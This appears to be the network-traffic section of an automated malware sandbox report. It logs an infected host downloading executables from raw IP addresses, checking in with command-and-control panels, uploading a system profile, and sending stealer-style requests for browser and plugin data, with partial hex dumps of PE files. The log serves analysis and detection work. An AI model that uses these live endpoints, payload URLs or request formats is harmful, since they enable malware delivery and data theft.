00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 69 72 69 76 72 76 6f 00 60 1a 00 00 20 2b 00 00 5e 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 64 6d 6e 69 75 71 00 20 00 00 00 80 45 00 00 04 00 00 00 98 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 45 00 00 22 00 00 00 9c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 00:10:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:48 GMTContent-Type: application/octet-streamContent-Length: 2909696Last-Modified: Wed, 18 Dec 2024 23:58:29 GMTConnection: keep-aliveETag: "676361a5-2c6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 a0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 4f 00 00 04 00 00 8f fc 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 71 73 78 71 64 79 65 00 d0 2a 00 00 c0 24 00 00 c4 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 71 76 70 72 6e 67 00 10 00 00 00 90 4f 00 00 04 00 00 00 40 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4f 00 00 22 00 00 00 44 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
                                      Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 41 32 46 37 31 42 32 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DBA2F71B25982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
                                      Source: global trafficHTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017190001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017192001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017193001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: */*Content-Type: application/jsonContent-Length: 496841Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 36 36 39 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
                                      Source: global trafficHTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=uw27VhqmrkZG123h1734566989 HTTP/1.1Host: home.twentytk20pn.topAccept: */*
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017194001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017195001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 36 42 31 43 36 32 32 38 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="hwid"DB6B1C6228E5845770397------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="build"stok------AFCAAEGDBKJJKECBKFHC--
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="message"browsers------BFIDGDAKFHIEHJKFHDHD--
                                      Source: global trafficHTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="message"plugins------FIIIIJKFCAAECAKFIEHC--
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"fplugins------EHDHDHIECGCAEBFIIDHI--
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 185.215.113.206Content-Length: 5483Connection: Keep-AliveCache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017196001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: */*Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------60CTYxI6rdJqAQo1JS1BXwData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 30 43 54 59 78 49 36 72 64 4a 71 41 51 6f 31 4a 53 31 42 58 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 65 6c 69 77 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a bb 97 dd 6f 40 a0 c3 30 06 28 9b 60 60 78 2b 29 0f c4 c9 28 e2 ac c5 dc 41 00 e2 20 3f c4 5e e4 f2 b8 7c af 87 0d 5e 5e f3 26 e7 2f 38 1d e8 68 fc f8 80 59 4e 32 23 a9 8d 13 da 0b 19 c5 62 cd 6a 58 bc 16 67 02 a4 56 b4 e3 22 35 f5 b6 ec 50 ae 30 1f 7b 14 d0 91 2e 0f 93 96 43 8a 0a 39 42 a8 ef 98 aa 81 4d ac 19 71 ec 79 88 75 c5 92 a4 d7 9f 6c 6d d1 51 2d 52 4e fe f8 d7 69 6f d3 b1 f6 41 bb 6e 8e b9 e8 dd 11 73 da 12 dd 0e 2b 1a 9b ae 08 f8 a0 e9 81 25 8c 6b cf e0 e7 0d f1 43 a9 75 63 91 9f b7 52 f3 70 54 b1 65 13 db ee b3 29 f9 8e 48 68 19 53 30 9b a4 25 f3 0d 50 4f 2e 65 07 65 69 66 a8 29 a3 27 19 16 33 fc f1 28 0c 12 0b e6 d3 e1 8b 24 99 34 a6 3b ce 3a 0d b5 85 a4 de 34 f1 96 ac 1a ba da 66 32 04 1a d2 df f7 d4 76 c2 bc ef 68 f4 cb 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 30 43 54 59 78 49 36 72 64 4a 71 41 51 6f 31 4a 53 31 42 58 77 2d 2d 0d 0a Data Ascii: --------------------------60CTYxI6rdJqAQo1JS1BXwContent-Disposition: form-data; name="file"; filename="Seliwe.bin"Content-Type: application/octet-streamo@0(``x+)(A 